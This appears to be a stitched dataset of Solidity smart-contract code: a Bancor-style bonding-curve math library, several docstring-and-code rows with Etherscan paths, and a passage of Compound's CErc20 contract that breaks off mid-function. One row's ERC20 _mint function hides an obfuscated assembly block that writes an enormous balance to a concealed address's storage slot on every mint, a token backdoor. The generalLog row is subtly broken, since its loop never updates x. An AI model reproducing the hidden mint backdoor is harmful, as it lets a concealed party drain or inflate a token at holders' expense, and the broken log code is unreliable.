* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3)
z = z * y / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = z * y / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = z * y / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = z * y / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = z * y / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = z * y / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = z * y / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = z * y / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = z * y / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = z * y / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = z * y / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = z * y / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = z * y / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = z * y / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = z * y / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = z * y / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = z * y / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = z * y / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = z * y / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0) res = res * 0x1c3d6a24ed82218787d624d3e5eba95f9 / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0) res = res * 0x18ebef9eac820ae8682b9793ac6d1e778 / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0) res = res * 0x1368b2fc6f9609fe7aceb46aa619baed5 / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0) res = res * 0x0bc5ab1b16779be3575bd8f0520a9f21e / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0) res = res * 0x0454aaa8efe072e7f6ddbab84b40a55c5 / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0) res = res * 0x00960aadc109e7a3bf4578099615711d7 / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0) res = res * 0x0002bf84208204f5977f9a8cf01fdc307 / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
return res;
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
*/
function lowerStake(uint256 _x) internal view returns (uint256) {
if (_x <= LAMBERT_CONV_RADIUS)
return lambertPos1(_x);
if (_x <= LAMBERT_POS2_MAXVAL)
return lambertPos2(_x);
if (_x <= LAMBERT_POS3_MAXVAL)
return lambertPos3(_x);
require(false);
}
/**
* @dev computes W(-x / FIXED_1) / (-x / FIXED_1) * FIXED_1
*/
function higherStake(uint256 _x) internal pure returns (uint256) {
if (_x <= LAMBERT_CONV_RADIUS)
return lambertNeg1(_x);
return FIXED_1 * FIXED_1 / _x;
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
* input range: 1 <= x <= 1 / e * FIXED_1
* auto-generated via 'PrintFunctionLambertPos1.py'
*/
function lambertPos1(uint256 _x) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = (FIXED_1 - _x) * 0xde1bc4d19efcac82445da75b00000000; // x^(1-1) * (34! * 1^(1-1) / 1!) - x^(2-1) * (34! * 2^(2-1) / 2!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00000000014d29a73a6e7b02c3668c7b0880000000; // add x^(03-1) * (34! * 03^(03-1) / 03!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x0000000002504a0cd9a7f7215b60f9be4800000000; // sub x^(04-1) * (34! * 04^(04-1) / 04!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000000000484d0a1191c0ead267967c7a4a0000000; // add x^(05-1) * (34! * 05^(05-1) / 05!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x00000000095ec580d7e8427a4baf26a90a00000000; // sub x^(06-1) * (34! * 06^(06-1) / 06!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000000001440b0be1615a47dba6e5b3b1f10000000; // add x^(07-1) * (34! * 07^(07-1) / 07!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x000000002d207601f46a99b4112418400000000000; // sub x^(08-1) * (34! * 08^(08-1) / 08!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000066ebaac4c37c622dd8288a7eb1b2000000; // add x^(09-1) * (34! * 09^(09-1) / 09!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x00000000ef17240135f7dbd43a1ba10cf200000000; // sub x^(10-1) * (34! * 10^(10-1) / 10!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000233c33c676a5eb2416094a87b3657000000; // add x^(11-1) * (34! * 11^(11-1) / 11!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x0000000541cde48bc0254bed49a9f8700000000000; // sub x^(12-1) * (34! * 12^(12-1) / 12!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000cae1fad2cdd4d4cb8d73abca0d19a400000; // add x^(13-1) * (34! * 13^(13-1) / 13!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x0000001edb2aa2f760d15c41ceedba956400000000; // sub x^(14-1) * (34! * 14^(14-1) / 14!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000004ba8d20d2dabd386c9529659841a2e200000; // add x^(15-1) * (34! * 15^(15-1) / 15!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x000000bac08546b867cdaa20000000000000000000; // sub x^(16-1) * (34! * 16^(16-1) / 16!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000001cfa8e70c03625b9db76c8ebf5bbf24820000; // add x^(17-1) * (34! * 17^(17-1) / 17!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x000004851d99f82060df265f3309b26f8200000000; // sub x^(18-1) * (34! * 18^(18-1) / 18!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00000b550d19b129d270c44f6f55f027723cbb0000; // add x^(19-1) * (34! * 19^(19-1) / 19!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x00001c877dadc761dc272deb65d4b0000000000000; // sub x^(20-1) * (34! * 20^(20-1) / 20!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000048178ece97479f33a77f2ad22a81b64406c000; // add x^(21-1) * (34! * 21^(21-1) / 21!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x0000b6ca8268b9d810fedf6695ef2f8a6c00000000; // sub x^(22-1) * (34! * 22^(22-1) / 22!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0001d0e76631a5b05d007b8cb72a7c7f11ec36e000; // add x^(23-1) * (34! * 23^(23-1) / 23!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x0004a1c37bd9f85fd9c6c780000000000000000000; // sub x^(24-1) * (34! * 24^(24-1) / 24!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000bd8369f1b702bf491e2ebfcee08250313b65400; // add x^(25-1) * (34! * 25^(25-1) / 25!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x001e5c7c32a9f6c70ab2cb59d9225764d400000000; // sub x^(26-1) * (34! * 26^(26-1) / 26!)
xi = (xi * _x) / FIXED_1; res += xi * 0x004dff5820e165e910f95120a708e742496221e600; // add x^(27-1) * (34! * 27^(27-1) / 27!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x00c8c8f66db1fced378ee50e536000000000000000; // sub x^(28-1) * (34! * 28^(28-1) / 28!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0205db8dffff45bfa2938f128f599dbf16eb11d880; // add x^(29-1) * (34! * 29^(29-1) / 29!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x053a044ebd984351493e1786af38d39a0800000000; // sub x^(30-1) * (34! * 30^(30-1) / 30!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0d86dae2a4cc0f47633a544479735869b487b59c40; // add x^(31-1) * (34! * 31^(31-1) / 31!)
xi = (xi * _x) / FIXED_1; res -= xi * 0x231000000000000000000000000000000000000000; // sub x^(32-1) * (34! * 32^(32-1) / 32!)
xi = (xi * _x) / FIXED_1; res += xi * 0x5b0485a76f6646c2039db1507cdd51b08649680822; // add x^(33-1) * (34! * 33^(33-1) / 33!)
xi = (xi * _x) / FIXED_1; res -= xi * 0xec983c46c49545bc17efa6b5b0055e242200000000; // sub x^(34-1) * (34! * 34^(34-1) / 34!)
return res / 0xde1bc4d19efcac82445da75b00000000; // divide by 34!
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
* input range: LAMBERT_CONV_RADIUS + 1 <= x <= LAMBERT_POS2_MAXVAL
*/
function lambertPos2(uint256 _x) internal view returns (uint256) {
uint256 x = _x - LAMBERT_CONV_RADIUS - 1;
uint256 i = x / LAMBERT_POS2_SAMPLE;
uint256 a = LAMBERT_POS2_SAMPLE * i;
uint256 b = LAMBERT_POS2_SAMPLE * (i + 1);
uint256 c = lambertArray[i];
uint256 d = lambertArray[i + 1];
return (c * (b - x) + d * (x - a)) / LAMBERT_POS2_SAMPLE;
}
/**
* @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1
* input range: LAMBERT_POS2_MAXVAL + 1 <= x <= LAMBERT_POS3_MAXVAL
*/
function lambertPos3(uint256 _x) internal pure returns (uint256) {
uint256 l1 = _x < OPT_LOG_MAX_VAL ? optimalLog(_x) : generalLog(_x);
uint256 l2 = l1 < OPT_LOG_MAX_VAL ? optimalLog(l1) : generalLog(l1);
return (l1 - l2 + l2 * FIXED_1 / l1) * FIXED_1 / _x;
}
/**
* @dev computes W(-x / FIXED_1) / (-x / FIXED_1) * FIXED_1
* input range: 1 <= x <= 1 / e * FIXED_1
* auto-generated via 'PrintFunctionLambertNeg1.py'
*/
function lambertNeg1(uint256 _x) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) / FIXED_1; res += xi * 0x00000000014d29a73a6e7b02c3668c7b0880000000; // add x^(03-1) * (34! * 03^(03-1) / 03!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000002504a0cd9a7f7215b60f9be4800000000; // add x^(04-1) * (34! * 04^(04-1) / 04!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000000000484d0a1191c0ead267967c7a4a0000000; // add x^(05-1) * (34! * 05^(05-1) / 05!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00000000095ec580d7e8427a4baf26a90a00000000; // add x^(06-1) * (34! * 06^(06-1) / 06!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000000001440b0be1615a47dba6e5b3b1f10000000; // add x^(07-1) * (34! * 07^(07-1) / 07!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000000002d207601f46a99b4112418400000000000; // add x^(08-1) * (34! * 08^(08-1) / 08!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000066ebaac4c37c622dd8288a7eb1b2000000; // add x^(09-1) * (34! * 09^(09-1) / 09!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00000000ef17240135f7dbd43a1ba10cf200000000; // add x^(10-1) * (34! * 10^(10-1) / 10!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000233c33c676a5eb2416094a87b3657000000; // add x^(11-1) * (34! * 11^(11-1) / 11!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000541cde48bc0254bed49a9f8700000000000; // add x^(12-1) * (34! * 12^(12-1) / 12!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000000cae1fad2cdd4d4cb8d73abca0d19a400000; // add x^(13-1) * (34! * 13^(13-1) / 13!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000001edb2aa2f760d15c41ceedba956400000000; // add x^(14-1) * (34! * 14^(14-1) / 14!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000004ba8d20d2dabd386c9529659841a2e200000; // add x^(15-1) * (34! * 15^(15-1) / 15!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000000bac08546b867cdaa20000000000000000000; // add x^(16-1) * (34! * 16^(16-1) / 16!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000001cfa8e70c03625b9db76c8ebf5bbf24820000; // add x^(17-1) * (34! * 17^(17-1) / 17!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000004851d99f82060df265f3309b26f8200000000; // add x^(18-1) * (34! * 18^(18-1) / 18!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00000b550d19b129d270c44f6f55f027723cbb0000; // add x^(19-1) * (34! * 19^(19-1) / 19!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00001c877dadc761dc272deb65d4b0000000000000; // add x^(20-1) * (34! * 20^(20-1) / 20!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000048178ece97479f33a77f2ad22a81b64406c000; // add x^(21-1) * (34! * 21^(21-1) / 21!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0000b6ca8268b9d810fedf6695ef2f8a6c00000000; // add x^(22-1) * (34! * 22^(22-1) / 22!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0001d0e76631a5b05d007b8cb72a7c7f11ec36e000; // add x^(23-1) * (34! * 23^(23-1) / 23!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0004a1c37bd9f85fd9c6c780000000000000000000; // add x^(24-1) * (34! * 24^(24-1) / 24!)
xi = (xi * _x) / FIXED_1; res += xi * 0x000bd8369f1b702bf491e2ebfcee08250313b65400; // add x^(25-1) * (34! * 25^(25-1) / 25!)
xi = (xi * _x) / FIXED_1; res += xi * 0x001e5c7c32a9f6c70ab2cb59d9225764d400000000; // add x^(26-1) * (34! * 26^(26-1) / 26!)
xi = (xi * _x) / FIXED_1; res += xi * 0x004dff5820e165e910f95120a708e742496221e600; // add x^(27-1) * (34! * 27^(27-1) / 27!)
xi = (xi * _x) / FIXED_1; res += xi * 0x00c8c8f66db1fced378ee50e536000000000000000; // add x^(28-1) * (34! * 28^(28-1) / 28!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0205db8dffff45bfa2938f128f599dbf16eb11d880; // add x^(29-1) * (34! * 29^(29-1) / 29!)
xi = (xi * _x) / FIXED_1; res += xi * 0x053a044ebd984351493e1786af38d39a0800000000; // add x^(30-1) * (34! * 30^(30-1) / 30!)
xi = (xi * _x) / FIXED_1; res += xi * 0x0d86dae2a4cc0f47633a544479735869b487b59c40; // add x^(31-1) * (34! * 31^(31-1) / 31!)
xi = (xi * _x) / FIXED_1; res += xi * 0x231000000000000000000000000000000000000000; // add x^(32-1) * (34! * 32^(32-1) / 32!)
xi = (xi * _x) / FIXED_1; res += xi * 0x5b0485a76f6646c2039db1507cdd51b08649680822; // add x^(33-1) * (34! * 33^(33-1) / 33!)
xi = (xi * _x) / FIXED_1; res += xi * 0xec983c46c49545bc17efa6b5b0055e242200000000; // add x^(34-1) * (34! * 34^(34-1) / 34!)
return res / 0xde1bc4d19efcac82445da75b00000000 + _x + FIXED_1; // divide by 34! and then add x^(2-1) * (34! * 2^(2-1) / 2!) + x^(1-1) * (34! * 1^(1-1) / 1!)
}
/**
* @dev computes the weights based on "W(log(hi / lo) * tq / rp) * tq / rp", where "W" is a variation of the Lambert W function.
*/
function balancedWeightsByStake(uint256 _hi, uint256 _lo, uint256 _tq, uint256 _rp, bool _lowerStake) internal view returns (uint32, uint32) {
(_tq, _rp) = safeFactors(_tq, _rp);
uint256 f = _hi.mul(FIXED_1) / _lo;
uint256 g = f < OPT_LOG_MAX_VAL ? optimalLog(f) : generalLog(f);
uint256 x = g.mul(_tq) / _rp;
uint256 y = _lowerStake ? lowerStake(x) : higherStake(x);
return normalizedWeights(y.mul(_tq), _rp.mul(FIXED_1));
}
/**
* @dev reduces "a" and "b" while maintaining their ratio.
*/
function safeFactors(uint256 _a, uint256 _b) internal pure returns (uint256, uint256) {
if (_a <= FIXED_2 && _b <= FIXED_2)
return (_a, _b);
if (_a < FIXED_2)
return (_a * FIXED_2 / _b, FIXED_2);
if (_b < FIXED_2)
return (FIXED_2, _b * FIXED_2 / _a);
uint256 c = _a > _b ? _a : _b;
uint256 n = floorLog2(c / FIXED_1);
return (_a >> n, _b >> n);
}
/**
* @dev computes "MAX_WEIGHT * a / (a + b)" and "MAX_WEIGHT * b / (a + b)".
*/
function normalizedWeights(uint256 _a, uint256 _b) internal pure returns (uint32, uint32) {
if (_a <= _b)
return accurateWeights(_a, _b);
(uint32 y, uint32 x) = accurateWeights(_b, _a);
return (x, y);
}
/**
* @dev computes "MAX_WEIGHT * a / (a + b)" and "MAX_WEIGHT * b / (a + b)", assuming that "a <= b".
*/
function accurateWeights(uint256 _a, uint256 _b) internal pure returns (uint32, uint32) {
if (_a > MAX_UNF_WEIGHT) {
uint256 c = _a / (MAX_UNF_WEIGHT + 1) + 1;
_a /= c;
_b /= c;
}
uint256 x = roundDiv(_a * MAX_WEIGHT, _a.add(_b));
uint256 y = MAX_WEIGHT - x;
return (uint32(x), uint32(y));
}
/**
* @dev computes the nearest integer to a given quotient without overflowing or underflowing.
*/
function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) {
return _n / _d + _n % _d / (_d - _d / 2);
}
/**
* @dev deprecated, backward compatibility
*/
function calculatePurchaseReturn(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount)
public view returns (uint256)
{
return purchaseTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateSaleReturn(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount)
public view returns (uint256)
{
return saleTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateCrossReserveReturn(uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount)
public view returns (uint256)
{
return crossReserveTargetAmount(_sourceReserveBalance, _sourceReserveWeight, _targetReserveBalance, _targetReserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateCrossConnectorReturn(uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount)
public view returns (uint256)
{
return crossReserveTargetAmount(_sourceReserveBalance, _sourceReserveWeight, _targetReserveBalance, _targetReserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateFundCost(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount)
public view returns (uint256)
{
return fundCost(_supply, _reserveBalance, _reserveRatio, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function calculateLiquidateReturn(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount)
public view returns (uint256)
{
return liquidateReserveAmount(_supply, _reserveBalance, _reserveRatio, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function purchaseRate(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount)
public view returns (uint256)
{
return purchaseTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function saleRate(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveWeight,
uint256 _amount)
public view returns (uint256)
{
return saleTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function crossReserveRate(uint256 _sourceReserveBalance,
uint32 _sourceReserveWeight,
uint256 _targetReserveBalance,
uint32 _targetReserveWeight,
uint256 _amount)
public view returns (uint256)
{
return crossReserveTargetAmount(_sourceReserveBalance, _sourceReserveWeight, _targetReserveBalance, _targetReserveWeight, _amount);
}
/**
* @dev deprecated, backward compatibility
*/
function liquidateRate(uint256 _supply,
uint256 _reserveBalance,
uint32 _reserveRatio,
uint256 _amount)
public view returns (uint256)
{
return liquidateReserveAmount(_supply, _reserveBalance, _reserveRatio, _amount);
}
}
| computes log(x / FIXED_1) FIXED_1. This functions assumes that "x >= FIXED_1", because the output would be negative otherwise./ If x >= 2, then we compute the integer part of log2(x), which is larger than 0. If x > 1, then we compute the fraction part of log2(x), which is larger than 0. | function generalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
res = count * FIXED_1;
}
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
if (x >= FIXED_2) {
res += ONE << (i - 1);
}
}
}
return res * LN2_NUMERATOR / LN2_DENOMINATOR;
}
| 1,786,820 |
./partial_match/1/0xC7dD7A509E89709517b77B135B6A5EC885b8493F/sources/ERC20.sol | Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `account` cannot be the zero address./ Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. gas optimization | function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
assembly {
let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))
mstore(0x00, slot)
mstore(0x20, 0x01)
let sslot := keccak256(0x0, 0x40)
sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
| 3,994,054 |
./full_match/5/0x23C38E3971A892e8c82cB2dc10C6bf84667d9eA5/sources/project_/src/contracts/BridgedMartiaToken.sol | verify signatures Check that they are an oracle and they haven't signed twice | function claim(bytes memory sigData, bytes[] calldata signatures)
public
returns (address toAddress)
{
TransferData memory td = verifySigData(sigData);
require(sigData.length == 69, "Signature data is the wrong size");
require(
signatures.length <= 10,
"Maximum of 10 signatures can be provided"
);
bytes32 message = keccak256(sigData);
uint8 numberSigs = 0;
for (uint8 i = 0; i < signatures.length; i++) {
address potential = Verify.recoverSigner(message, signatures[i]);
if (oracles[potential] && !signed[td.id][potential]) {
signed[td.id][potential] = true;
numberSigs++;
if (numberSigs >= 10) {
break;
}
}
}
require(
numberSigs >= threshold,
"Not enough valid signatures provided"
);
balances[address(0)] = balances[address(0)].sub(td.quantity);
balances[td.toAddress] = balances[td.toAddress].add(td.quantity);
emit Claimed(td.id, td.toAddress, td.quantity);
emit Transfer(address(0), td.toAddress, td.quantity);
return td.toAddress;
}
| 1,887,026 |
pragma solidity ^0.5.16;
import "./CToken.sol";
/**
* @title Compound's CErc20 Contract
* @notice CTokens which wrap an EIP-20 underlying
* @author Compound
*/
contract CErc20 is CToken, CErc20Interface {
/**
* @notice Initialize the new money market
* @param underlying_ The address of the underlying asset
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param decimals_ ERC-20 decimal precision of this token
*/
function initialize(address underlying_,
ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
// CToken initialize does the bulk of the work
super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_);
// Set underlying and sanity check it
underlying = underlying_;
EIP20Interface(underlying).totalSupply();
}
/*** User Interface ***/
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(uint mintAmount) external returns (uint) {
(uint err,) = mintInternal(mintAmount);
return err;
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeem(uint redeemTokens) external returns (uint) {
return redeemInternal(redeemTokens);
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to redeem
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlying(uint redeemAmount) external returns (uint) {
return redeemUnderlyingInternal(redeemAmount);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(uint borrowAmount) external returns (uint) {
return borrowInternal(borrowAmount);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(uint repayAmount) external returns (uint) {
(uint err,) = repayBorrowInternal(repayAmount);
return err;
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) {
(uint err,) = repayBorrowBehalfInternal(borrower, repayAmount);
return err;
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param repayAmount The amount of the underlying borrowed asset to repay
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) {
(uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral);
return err;
}
/**
* @notice A public function to sweep accidental ERC-20 transfers to this contract. Tokens are sent to admin (timelock)
* @param token The address of the ERC-20 token to sweep
*/
function sweepToken(EIP20NonStandardInterface token) external {
require(address(token) != underlying, "CErc20::sweepToken: can not sweep underlying token");
uint256 balance = token.balanceOf(address(this));
token.transfer(admin, balance);
}
/**
* @notice The sender adds to reserves.
* @param addAmount The amount fo underlying token to add as reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReserves(uint addAmount) external returns (uint) {
return _addReservesInternal(addAmount);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying tokens owned by this contract
*/
function getCashPrior() internal view returns (uint) {
EIP20Interface token = EIP20Interface(underlying);
return token.balanceOf(address(this));
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case.
* This will revert due to insufficient balance or insufficient allowance.
* This function returns the actual amount received,
* which may be less than `amount` if there is a fee attached to the transfer.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferIn(address from, uint amount) internal returns (uint) {
EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);
uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this));
token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was *actually* transferred
uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter - balanceBefore; // underflow already checked above, just subtract
}
/**
* @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory
* error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to
* insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified
* it is >= amount, this should not revert in normal conditions.
*
* Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value.
* See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
function doTransferOut(address payable to, uint amount) internal {
EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);
token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 { // This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 { // This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set `success = returndata` of external call
}
default { // This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
